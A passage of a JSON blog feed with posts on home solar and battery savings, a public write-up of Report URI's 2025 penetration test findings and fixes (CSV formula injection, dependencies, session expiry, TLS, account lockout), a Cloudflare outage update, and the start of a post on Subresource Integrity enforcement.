clearly have a capability to export a lot more. The batteries can fill up on the off-peak rate overnight at £0.07/kWh, and then export it during the peak rate for £0.15/kWh, meaning any excess solar production or battery capacity can be exported for a reasonable amount.</p><p>If we take a look at the billing information from our energy supplier, we can see that during July, our best month for solar production, we exported a lot of energy. We exported so much energy that it actually fully offset our electricity costs and allowed us to go negative, meaning we were earning money back.</p><p>Here is our electricity import data:</p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-7.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"988\" height=\"623\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-7.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-7.png 988w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>And here is our electricity export data:</p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-6.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"983\" height=\"706\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-6.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-6.png 983w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>That's a pretty epic scenario, despite us being such high energy consumers, to still have the ability to fully cover our costs and even earn something back! For clarity, we will still have the standing charge component of our bill, which is £0.45/day so about £13.50 per month to go on any given month, but looking at the raw energy costs, it's impressive.</p><p></p><h4 id=\"the-final-calculation\">The final calculation</h4><p>I pulled all of our charges for electricity in 2025 to see just how close my calculations were and to double check everything I was thinking. Earlier, I gave these figures:</p><p>Off-peak rate: 17,300 kWh x £0.07/kWh = £1,211</p><p>If 100% of our electricity usage was at the off-peak rate, we should have paid £1,211 for the year. Adding up all of our monthly charges, our total for the year was £1,608.11 all in, but we need to subtract our standing charge from that.</p><p>Total cost = £1,608.11 - (365 * £0.45)<br><strong>Total import = £1,443.86</strong></p><p></p><p>This means that we got almost all of our usage at the off-peak rate which is an awesome achievement! After the charges for electricity, I then tallied up all of our payments for export.</p><p><strong>Total export = £886.49</strong></p><p></p><p>Another pretty impressive achievement, earning so much in export, which also helps to bring our net electricity cost in 2025 to <strong>£557.37</strong>! To put this another way, the effective rate of our electricity is now just £0.03/kWh.</p><p>£557.37 / 17,300kWh = <strong>£0.03/kWh</strong></p><p></p><h4 id=\"but-was-it-all-worth-it\">But was it all worth it?</h4><p>That's a tricky question to answer, and everyone will have different objectives and desired outcomes, but ours was pretty clear. Running two Electric Vehicles, having two adults working from home full time, me having servers and equipment at home, along with a power hungry hot tub, we were spending too much per month in electricity alone, and our goal was to reduce that.</p><p>Of course, it only makes sense to spend money reducing our costs if we reduce them enough to pay back the investment in the long term, and things are looking good so far. Here are the costs for our installations:</p><p></p><p>£17,580 - Powerwalls #1 and #2 installed.<br>£13,940 - Solar array installed.<br>£7,840  - Powerwall #3 installed.<br>Total cost = £39,360</p><p></p><p>If we assume even a generous 2/3 - 1/3 split between peak and off-peak usage, with no Powerwalls or solar array, our electricity costs for 2025 would have been £3,632.86:</p><p>11,533 kWh x £0.28/kWh = £3,229.24<br>5,766 kWh x £0.07/kWh = £403.62<br>Total = £3,632.86</p><p></p><p>Instead, our costs were only £557.37, meaning we saved £3,078.49 this year. We also only had export capabilities for 7 months of 2025, so in 2026 when we will have 12 months of export capabilities, we should further reduce our costs. I anticipate that in 2026 our electricity costs for the year will be ~£0, and that's our goal.</p><p>Having our full costs returned in ~11 years is definitely something we're happy with, and we've also had protection against several power outages in our area along the way, which is a very nice bonus. Another way to look at this is that the investment is returning ~9%/year.</p><p></p><table>\n<thead>\n<tr>\n<th style=\"text-align:right\">Year</th>\n<th style=\"text-align:right\">Cumulative savings (£)</th>\n<th style=\"text-align:right\">ROI (%)</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align:right\">1</td>\n<td style=\"text-align:right\">3,632.86</td>\n<td style=\"text-align:right\">9.23%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">2</td>\n<td style=\"text-align:right\">7,265.72</td>\n<td style=\"text-align:right\">18.46%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">3</td>\n<td style=\"text-align:right\">10,898.58</td>\n<td style=\"text-align:right\">27.69%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">4</td>\n<td style=\"text-align:right\">14,531.44</td>\n<td style=\"text-align:right\">36.92%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">5</td>\n<td style=\"text-align:right\">18,164.30</td>\n<td style=\"text-align:right\">46.15%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">6</td>\n<td style=\"text-align:right\">21,797.16</td>\n<td style=\"text-align:right\">55.38%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">7</td>\n<td style=\"text-align:right\">25,430.02</td>\n<td style=\"text-align:right\">64.61%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">8</td>\n<td style=\"text-align:right\">29,062.88</td>\n<td style=\"text-align:right\">73.84%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">9</td>\n<td style=\"text-align:right\">32,695.74</td>\n<td style=\"text-align:right\">83.07%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">10</td>\n<td style=\"text-align:right\">36,328.60</td>\n<td style=\"text-align:right\">92.30%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">15</td>\n<td style=\"text-align:right\">54,492.90</td>\n<td style=\"text-align:right\">138.43%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">20</td>\n<td style=\"text-align:right\">72,657.20</td>\n<td style=\"text-align:right\">184.61%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">25</td>\n<td style=\"text-align:right\">90,821.50</td>\n<td style=\"text-align:right\">230.76%</td>\n</tr>\n</tbody>\n</table>\n<p> </p><p>Of course, at some point during that period, the effective value of the installation will reduce to almost £0, and we have to consider that, but it's doing pretty darn good. If we hadn't needed to add that third Powerwall, this would have been so much better too. We'll see what the future holds, but with the inevitable and continued rise of energy costs, and talk of moving the standing charge on to our unit rate, things might look even better in the future.</p><p></p><h4 id=\"onwards-to-2026\">Onwards to 2026!</h4><p>Now that we have everything properly set up, and I'm happy with all of our Home Assistant automations, we're going to see how 2026 goes. I will definitely circle back in a year from now and see how the numbers played out, and until then, I hope the information here has been useful or interesting 👍</p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2026/01/2025-energy.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2026/01/2025-energy.webp",
              "image": "https://scotthelme.ghost.io/content/images/2026/01/2025-energy.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Tesla Powerwall",
              "term": "Tesla Powerwall",
              "url": null
            },
            {
              "label": "Solar Power",
              "term": "Solar Power",
              "url": null
            },
            {
              "label": "Octopus Energy",
              "term": "Octopus Energy",
              "url": null
            }
          ]
        },
        {
          "id": "693822108d605500017a6622",
          "title": "Report URI Penetration Test 2025",
          "description": "<p>Every year, just as we start to put up the Christmas Tree, we have another tradition at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> which is to conduct our annual penetration test! </p><p>🎅🎄🎁 --> 🩻🔐🥷</p><p>This will be our 6th annual penetration test that we've posted completely publicly,</p>",
          "url": "https://scotthelme.ghost.io/report-uri-penetration-test-2025/",
          "published": "2025-12-15T15:36:37.000Z",
          "updated": "2025-12-15T15:36:37.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2025/12/report-uri-penetration-test.webp\" alt=\"Report URI Penetration Test 2025\"><p>Every year, just as we start to put up the Christmas Tree, we have another tradition at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> which is to conduct our annual penetration test! </p><p>🎅🎄🎁 --> 🩻🔐🥷</p><p>This will be our 6th annual penetration test that we've posted completely publicly, just as before, and we'll be covering a full run down of what was found and what we've done about it. </p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/12/image.png\" class=\"kg-image\" alt=\"Report URI Penetration Test 2025\" loading=\"lazy\" width=\"1915\" height=\"356\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/12/image.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image.png 1000w, https://scotthelme.ghost.io/content/images/size/w1600/2025/12/image.png 1600w, https://scotthelme.ghost.io/content/images/2025/12/image.png 1915w\" sizes=\"(min-width: 720px) 720px\"></a></figure><h4 id=\"penetration-tests\">Penetration Tests</h4><p>If you find this post interesting or would like to see our previous reports, then here are the links to each and every one of those!</p><p><a href=\"https://scotthelme.co.uk/report-uri-penetration-test-2020/?ref=scotthelme.co.uk\" rel=\"noreferrer\">Report URI Penetration Test 2020</a></p><p><a href=\"https://scotthelme.co.uk/report-uri-penetration-test-2021/?ref=scotthelme.co.uk\" rel=\"noreferrer\">Report URI Penetration Test 2021</a></p><p><a href=\"https://scotthelme.co.uk/report-uri-penetration-test-2022/?ref=scotthelme.co.uk\" rel=\"noreferrer\">Report URI Penetration Test 2022</a></p><p><a href=\"https://scotthelme.co.uk/report-uri-penetration-test-2023/?ref=scotthelme.co.uk\" rel=\"noreferrer\">Report URI Penetration Test 2023</a></p><p><a href=\"https://scotthelme.co.uk/report-uri-penetration-test-2024/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI Penetration Test 2024</a></p><p></p><h4 id=\"the-results\">The Results</h4><p>2025 has been another good year for us as we've continued to focus on the security of our product, and the results of the test show that. Not only have we added a bunch of new features, we've also made some significant changes to our infrastructure and made countless changes and improvements to existing functionality too. The tester had what was effectively an unlimited scope to target the application, a full 'guidebook' on how to get up and running with our product and a demo call to ensure all required knowledge was handed over before the test. We wanted them to hit the ground running and waste no time getting stuck in.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/12/image-1.png\" class=\"kg-image\" alt=\"Report URI Penetration Test 2025\" loading=\"lazy\" width=\"724\" height=\"409\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-1.png 600w, https://scotthelme.ghost.io/content/images/2025/12/image-1.png 724w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Finding an Info rated issue, three Low rated and a Medium severity issue definitely gives us something to talk about, so let's look at that Medium severity first. </p><p></p><h4 id=\"csv-formula-injection\">CSV Formula Injection</h4><p>The entire purpose of our service is to ingest user-generated data and then display that in some way. Every single telemetry report we process comes from either a browser or a mail server, and the entire content, whilst conforming to a certain schema, is essentially free in terms of the values of fields. We have historically focused on, and thus far prevented, XSS from creeping it's way in, but this bug takes a slightly different form. </p><p>Earlier this year, June 11th to be exact, we released a new feature that allowed for a raw export of telemetry data. This was a commonly requested feature from our customers and we provided two export formats for the data, the native JSON that telemetry is ingested in, or a CSV variant too. You can see the export feature being used here on CSP Reports.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/12/image-2.png\" class=\"kg-image\" alt=\"Report URI Penetration Test 2025\" loading=\"lazy\" width=\"1553\" height=\"543\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-2.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image-2.png 1000w, https://scotthelme.ghost.io/content/images/2025/12/image-2.png 1553w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Because the data export is a raw export, we are providing the telemetry payloads that we received from the browser or email server, just as you would have received them if you collected them yourself. It turns out that as these fields obviously contain user generated data, and you can do some trickery!</p><p>The specific example given by the tester uses a NEL report, but it's not a problem specific to NEL reports, it's possible across all of our telemetry. Looking at the example in the report, you can see how the tester crafted a specific payload:</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/12/image-3.png\" class=\"kg-image\" alt=\"Report URI Penetration Test 2025\" loading=\"lazy\" width=\"1005\" height=\"671\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-3.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image-3.png 1000w, https://scotthelme.ghost.io/content/images/2025/12/image-3.png 1005w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>This <code>type</code> value contains an Excel command that will make it through to the CSV export as it represents the raw value sent by the client. The steps to leverage this are pretty convoluted, but I will quickly summarise them here by using an example if you want to target my good friend <a href=\"https://troyhunt.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Troy Hunt</a>, who runs <a href=\"https://haveibeenpwned.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Have I Been Pwned</a> which indeed uses Report URI.</p><ol><li>Identify the subdomain that Troy uses on our service, which is public information. </li><li>Send telemetry events to that endpoint with specifically crafted payloads which will be processed in to Troy's account.</li><li>Troy would then need to view that data in our UI, and for any reason wish to export that data as a CSV file. </li><li>Then, Troy would have to open that CSV file specifically in Excel, and bypass the two security warnings presented when opening the file. </li></ol><p></p><p>There are a couple of points in there that require some very specific actions from Troy, and the chances of all of those things happening are a little far-fetched, but still, we gave it a lot of consideration. The problem I had is that the export is raw, it's meant to be an export of what the browser or email server provided to us so you have a verbatim copy of the raw data. Sanitising that data is also tricky as there isn't a universal way to sanitise CSV because it depends on what application you're going to open it with, something I discovered when testing out our fix!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/12/image-4.png\" class=\"kg-image\" alt=\"Report URI Penetration Test 2025\" loading=\"lazy\" width=\"1140\" height=\"582\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-4.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image-4.png 1000w, https://scotthelme.ghost.io/content/images/2025/12/image-4.png 1140w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Our current approach is to add a single quote to the start of the value if we detect that the first non-whitespace character is a potentially dangerous character, and that seems to have reliably solved the issue. I'm happy to hear feedback on this approach, or alternative suggestions, so drop by the comments below if you can contribute!</p><p></p><h4 id=\"vulnerabilities-in-outdated-dependencies\">Vulnerabilities in Outdated Dependencies </h4><p>Not again! Actually, I'm pretty happy with the finding here, but I will explain both of the issues raised and what we did and didn't do about them. </p><h6 id=\"bootstrap-v3x\">Bootstrap v3.x</h6><p>The last version of Bootstrap 3 was v3.4.1 which did have an XSS vulnerability present (<a href=\"https://security.snyk.io/package/npm/bootstrap/3.4.1?ref=scotthelme.ghost.io\" rel=\"noreferrer\">source</a>). We have since cloned v3.4.1 and patched it up to v3.4.4 ourselves to fix various issues that have been found, including the XSS issue raised here. The issue is still flagged in v3.x though, which is why it was flagged in our custom patched version, so in reality, there is no problem here and we're happy to keep using our own version. </p><h6 id=\"jquery-cookie-v141\">jQuery Cookie v1.4.1</h6><p>Another tricky one because the Snyk data that we refer to lists no vulnerability in this library (<a href=\"https://security.snyk.io/package/npm/jquery.cookie/1.4.1?ref=scotthelme.ghost.io\" rel=\"noreferrer\">source</a>) which is why our own tooling hasn't flagged this to us. That said, the NVD does list a CVE for this version of the jQuery Cookie plugin (<a href=\"https://nvd.nist.gov/vuln/detail/cve-2022-23395?ref=scotthelme.ghost.io\" rel=\"noreferrer\">source</a>) but I can't find other data to back that up, including their own link to Snyk which doesn't list a vulnerability. Rather than spend too much time on this for what is a relatively simple plugin, we decided to remove it and implement the functionality that we need ourselves, solving the problem.</p><p></p><p>With both of those issues addressed, I'm happy to say that we can consider this as resolved too.</p><p></p><h4 id=\"insufficient-session-expiration\">Insufficient Session Expiration</h4><p>This issue has been raised previously in our <a href=\"https://scotthelme.co.uk/report-uri-penetration-test-2021/?ref=scotthelme.co.uk\" rel=\"noreferrer\">2021 penetration test</a>, and our position remains similar to what it was back then. Whilst I'm leaning towards 24 hours being on the top end, and we will probably bring this down shortly, I also feel like the recommended 20 minutes is just too short. Going away from your desk for a coffee break and returning to find you've been logged out just seems a little bit too aggressive for us.</p><p>Looking at the other suggested concerns, if you have malware running on your endpoint, or someone gains physical access to extract a session cookie, I feel like you probably have much bigger concerns to address too! Overall, I acknowledge the issue raised and we're currently thinking something in the 12-18 hours range might be better suited. </p><p></p><h4 id=\"insecure-tls-configuration\">Insecure TLS Configuration\n</h4><p>You could argue that I know a thing or two about TLS configuration, heck, you can even attend my <a href=\"https://www.feistyduck.com/training/practical-tls-and-pki?ref=scotthelme.ghost.io\" rel=\"noreferrer\">training course</a> on it if you like! The issue that somebody like a pen tester coming in from the outside is that they're always going to lack the specific context on why we made the configuration choices we did, and I also recognise that it's very hard to give generic advice that fits all situations. </p><p>We have priority in our cipher suite list for all of the best cipher suites as some of the first choices, and we have support for the latest protocol versions too. We're doing so well in fact that we get an A grade on the SSL Labs test (<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=helios.report-uri.com&ref=scotthelme.ghost.io\" rel=\"noreferrer\">results</a>):</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/12/image-5.png\" class=\"kg-image\" alt=\"Report URI Penetration Test 2025\" loading=\"lazy\" width=\"1284\" height=\"671\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-5.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image-5.png 1000w, https://scotthelme.ghost.io/content/images/2025/12/image-5.png 1284w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>I'm happy with where our current configuration is but as always, we will keep it in constant review as time goes by!</p><p></p><h4 id=\"no-account-lockout-or-timeout-mechanism\">No Account Lockout or Timeout Mechanism\n</h4><p>This is a controversial topic and it's quite interesting to see it come up because we specifically cover this in the <a href=\"https://www.troyhunt.com/workshops/?ref=scotthelme.co.uk\" rel=\"noreferrer\">Hack Yourself First</a> workshop that I deliver alongside Troy Hunt! I absolutely recognise the goal that a mechanism like this would be trying to achieve, but I worry about the potential negative side-effects.</p><p>Using account enumeration it's often trivial to determine if someone has an account on our service, so you might be able to determine that [email protected] is indeed registered. You then may want to start guessing different passwords to try and log in to Troy's account, and there lies the problem. How many times should you be able to sit there and guess a password before something happens? An account lockout mechanism might work along the lines of saying 'after 5 unsuccessful login attempts we will lock the account and require a password reset', or perhaps say 'after 5 unsuccessful login attempts you will not be able to login again for 3 minutes'. Both of these would stop the attacker from making significant progress, but both of them also present an opportunity to be abused by an attacker too. The attacker can now sit and make repeated login attempts to Troy's account and keep it in a perpetually locked state, denying him the use of his account, a Denial-of-Service attack (DoS)! It's for this reason I'm generally not fond of these account lockout / account suspension mechanisms, they do provide an opportunity for abuse. </p><p>Instead, we rely on a different set of protections to try and limit the impact of attacks like these. </p><ol><li>We implement incredibly strict rate-liming on sensitive endpoints, including our authentication endpoints. This would slow an attacker down so the rate at which they could make guesses would be reduced. (This was disabled for the client IP addresses used by the tester)</li><li>We utilise Cloudflare's Bot Management across our application, which includes authentication flows, and if there is any reasonable suspicion that the client is a bot or in some way automated, they would be challenged. This prevents attackers from automating their attacks, ultimately slowing them down. (This was disabled for the client IP addresses used by the tester)</li><li>We have taken exceptional measures around password security. We require strong and complex passwords for our service, check for commonly used passwords against the Pwned Passwords API, use zxcvbn for strength testing, and more. This makes it highly unlikely that the password being guessed could be guessed easily, and you can read the full details on our password security measures <a href=\"https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">here</a>.</li><li>We support, and have a very high adoption of, 2FA across our service. This means that there's a very good chance that if the attacker was able to guess a password, the next prompt would be to input the TOTP code from the authenticator app!</li></ol><p>Given the above concerns around lockout mechanisms, and the additional measures we have in place, I continue to remain happy with our current position but we will always review these things on an ongoing basis. </p><p></p><h4 id=\"thats-a-wrap\">That's a wrap!</h4><p>Given how much continued development we see in the product, and how much our infrastructure is evolving over time, I'm really pleased to see that our continued efforts to maintain the security of our product, and ultimately our customer's data, has paid off. </p><p>As we look forward to 2026 our \"Development Horizon\" project board is loaded with cool new features and updates, so be sure to keep an eye out for the exciting new things we have coming!</p><p>If you want to download a copy of our report, the latest report is always available and linked in the <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io#footer\" rel=\"noreferrer\">footer of our site</a>!</p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2025/12/report-uri-penetration-test.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2025/12/report-uri-penetration-test.webp",
              "image": "https://scotthelme.ghost.io/content/images/2025/12/report-uri-penetration-test.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Penetration Test",
              "term": "Penetration Test",
              "url": null
            }
          ]
        },
        {
          "id": "691dee03d9c78000011bd122",
          "title": "Report URI - outage update",
          "description": "<p>This is not a blog post that anybody ever wants to write, but we had some service issues yesterday and now the dust has settled, I wanted to provide an update on what happened. The good news is that the interruption was very minor in the end, and likely went</p>",
          "url": "https://scotthelme.ghost.io/report-uri-outage-update/",
          "published": "2025-11-19T21:24:19.000Z",
          "updated": "2025-11-19T21:24:19.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2025/11/report-uri-down.webp\" alt=\"Report URI - outage update\"><p>This is not a blog post that anybody ever wants to write, but we had some service issues yesterday and now the dust has settled, I wanted to provide an update on what happened. The good news is that the interruption was very minor in the end, and likely went unnoticed by most of our customers. </p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide-1.png\" class=\"kg-image\" alt=\"Report URI - outage update\" loading=\"lazy\" width=\"974\" height=\"141\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/11/report-uri---wide-1.png 600w, https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide-1.png 974w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"what-happened\">What happened?</h4><p>I'm sure that many of you are already aware of the issues that Cloudflare experienced yesterday, and their post-mortem is now available <a href=\"https://blog.cloudflare.com/18-november-2025-outage/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">on their blog</a>. It's always tough to have service issues, but as expected Cloudflare handled it well and were transparent throughout. As a customer of Cloudflare that uses many of their services, the Cloudflare outage unfortunately had an impact on our service too. Because of the unique way that our service operates, <strong><em>our subsequent service issues did not have any impact on the websites or operations of our customers</em></strong>. What we do have to recognise, though, is that we may have missed some telemetry events for a short period of time.</p><p></p><h4 id=\"our-infrastructure\">Our infrastructure</h4><p>Because all of the telemetry events sent to us have to pass through Cloudflare first, when Cloudflare were experiencing their service issues, it did prevent telemetry from reaching our servers. If we take a look at the bandwidth for one of our many telemetry ingestion servers, we can clearly see the impact.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/11/ingestion-server.png\" class=\"kg-image\" alt=\"Report URI - outage update\" loading=\"lazy\" width=\"991\" height=\"280\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/11/ingestion-server.png 600w, https://scotthelme.ghost.io/content/images/2025/11/ingestion-server.png 991w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Looking at the graph from the Cloudflare blog showing their 500 error levels, we have a near perfect alignment with us not receiving telemetry during their peak error rates.</p><p></p><figure class=\"kg-card kg-image-card kg-card-hascaption\"><img src=\"https://scotthelme.ghost.io/content/images/2025/11/image.png\" class=\"kg-image\" alt=\"Report URI - outage update\" loading=\"lazy\" width=\"1507\" height=\"733\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/11/image.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/11/image.png 1000w, https://scotthelme.ghost.io/content/images/2025/11/image.png 1507w\" sizes=\"(min-width: 720px) 720px\"><figcaption><span style=\"white-space: pre-wrap;\">source: Cloudflare</span></figcaption></figure><p></p><p>The good news here, as mentioned above, is that even if a browser can't reach our service and send the telemetry to us, it has no negative impact on our customer's websites, at all, as the browser will simply continue to load the page and try to send the telemetry again later. This is a truly unique scenario where we can have a near total service outage and it's unlikely that a single customer even noticed because we have no negative impact on their application.</p><p></p><h4 id=\"the-recovery\">The recovery</h4><p>Cloudflare worked quickly to bring their service troubles under control and things started to return to normal for us around 14:30 UTC. We could see our ingestion servers start to receive telemetry again, and we started to receive much more than usual. Here's that same view for the server above.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/11/ingestion-server-2.png\" class=\"kg-image\" alt=\"Report URI - outage update\" loading=\"lazy\" width=\"997\" height=\"285\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/11/ingestion-server-2.png 600w, https://scotthelme.ghost.io/content/images/2025/11/ingestion-server-2.png 997w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>If we take a look at the aggregate inbound telemetry for our whole service, we were comfortably receiving twice our usual volume of telemetry data.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/11/global-telemetry.png\" class=\"kg-image\" alt=\"Report URI - outage update\" loading=\"lazy\" width=\"994\" height=\"282\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/11/global-telemetry.png 600w, https://scotthelme.ghost.io/content/images/2025/11/global-telemetry.png 994w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>This is a good thing and shows that the browsers that had previously tried to dispatch telemetry to us and had failed were now retrying and succeeding. We did keep a close eye on the impact that this level of load was having, and we managed it well, with the load tailing off to our normal levels overnight. Whilst this recovery was really good to see, we have to acknowledge that there will inevitably be telemetry that was dropped during this time, and it's difficult to accurately gauge how much. If the telemetry event was retried successfully by the browser, or the problem also existed either before or after this outage, we will have still processed the event and taken any necessary action. </p><p></p><h4 id=\"looking-forwards\">Looking forwards</h4><p>I've always talked openly about our infrastructure at Report URI, even blogging in detail about the issues we've faced and the changes we've made as a result, much as I am doing here. We depend on several other service providers to build our service, including Cloudflare for CDN/WAF, DigitalOcean for VPS/compute and Microsoft Azure for storage, but sometimes even the big players will have their own problems, just like AWS did recently too. </p><p>Looking back on this incident now, whilst it was a difficult process for us to go through, I believe we're still making the best choices for Report URI and our customers. The likelihood of us being able to build our own service that rivals the benefits that Cloudflare provides is zero, and looking at other service providers to migrate to seems like a knee-jerk overreaction. I'm not looking for service providers that promise to never have issues, I'm looking for service providers that will respond quickly and transparently when they inevitably do have an issue, and Cloudflare have demonstrated that again. It's also this same desire for transparency and honesty that has driven me to write this blog post to inform you that it is likely we missed some of your telemetry events yesterday, and that we continue to consider how we can improve our service further going forwards.</p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2025/11/report-uri-down.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2025/11/report-uri-down.webp",
              "image": "https://scotthelme.ghost.io/content/images/2025/11/report-uri-down.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            }
          ]
        },
        {
          "id": "691b2097bb6a68000181de36",
          "title": "Integrity Policy - Monitoring and Enforcing the use of SRI",
          "description": "<p>This has been a long time coming so I'm excited that we now have a working standard in the browser for monitoring and enforcing the use of SRI across your website assets!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide.png\" class=\"kg-image\" alt loading=\"lazy\" width=\"974\" height=\"141\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/11/report-uri---wide.png 600w, https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide.png 974w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"sri-refresher\">SRI refresher</h4><p>For those that aren't familiar, or would like a quick refresher, here&</p>",
          "url": "https://scotthelme.ghost.io/integrity-policy-monitoring-and-enforcing-the-use-of-sri/",
          "published": "2025-11-19T15:01:02.000Z",
          "updated": "2025-11-19T15:01:02.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2025/11/integrity-policy.webp\" alt=\"Integrity Policy - Monitoring and Enforcing the use of SRI\"><p>This has been a long time coming so I'm excited that we now have a working standard in the browser for monitoring and enforcing the use of SRI across your website assets!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide.png\" class=\"kg-image\" alt=\"Integrity Policy - Monitoring and Enforcing the use of SRI\" loading=\"lazy\" width=\"974\" height=\"141\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/11/report-uri---wide.png 600w, https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide.png 974w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"sri-refresher\">SRI refresher</h4><p>For those that aren't familiar, or would like a quick refresher, here's the TLDR of SRI - Subresource Integrity. When loading assets from a 3rd-party, especially JavaScript, it's a good idea to have some control over what exactly it is you're loading. A typical script tag will allow <em>any</em> script to load in your page, but SRI gives you the ability to make sure the 